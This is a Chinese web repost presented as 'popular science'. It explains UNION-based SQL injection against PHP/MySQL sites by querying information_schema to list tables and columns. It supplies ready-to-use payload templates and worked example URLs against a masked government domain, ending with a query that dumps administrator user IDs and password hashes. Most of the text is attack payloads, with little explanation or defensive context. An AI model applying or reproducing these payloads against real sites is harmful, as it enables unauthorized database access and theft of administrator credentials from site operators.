某群主发了一篇《php+MySql注入非暴力爆数据库表段》的科普,那样的都可以发,我只好也一起发科普了。
数据库注入式攻击、Author:Juliet
科普:
《php+MySql注入非暴力爆数据库表段》的原文:
鉴于好多人问我关于注入猜不到表的问题,我发一下相关事例吧,其实MySql数据库的版本够了,不需要暴力猜表的,而是“查”表
表可以爆了,出来了,字段出不来怎么办?其实字段也可以查出
查表段时的格式是:
+union select 1,2,3,table_name from (select * from information_schema.tables where table_schema=数据库名字的hex order by table_schema limit 6,1)t limit 1--
复制代码
那么,查字段的格式就是:
+union select 1,2,column_name from (select * from information_schema.columns where table_name=爆出来的表名的hex值 and table_schema=数据库名的hex值 order by 1 limit 2,1)t limit 1--
复制代码
与爆表类似
在最后一个limit 6,1很明显是范围,从0,1、1,1、2,1、3,1的这么查下去就可以了,直到查出来想要的表名
看一个实例:
爆表:
http://www.xxx.gov.cn/newinfo.php?id=125+and+1=2+union+select+1,2,3,table_name,5,6,7,8,9,10+from+(select+*+from+information_schema.tables+where+table_schema=0x796B7873676F76+order+by+table_schema+limit+0,1)t+limit+1--
复制代码
爆字:
http://www.xxx.gov.cn/jg_view.php?id=141+and+1=2+union+select+1,2,column_name,4,5+from+(select+*+from+information_schema.columns+where+table_name=0x61646D696E6973747261746F72+and+table_schema=0x796B7873676F76+order+by+1+limit+2,1)t+limit+1--
复制代码
使用前面爆出来的:
http://www.xxx.gov.cn/jg_view.php?id=141+and+1=2+union+select+1,2,3,4,concat(uid,0x5f,pwd)+from+administrator
版权声明:本站所有资料均为网友推荐收集整理而来,仅供学习和研究交流使用。
工作时间:8:00-18:00
客服电话
电子邮件
admin@qq.com
扫码二维码
获取最新动态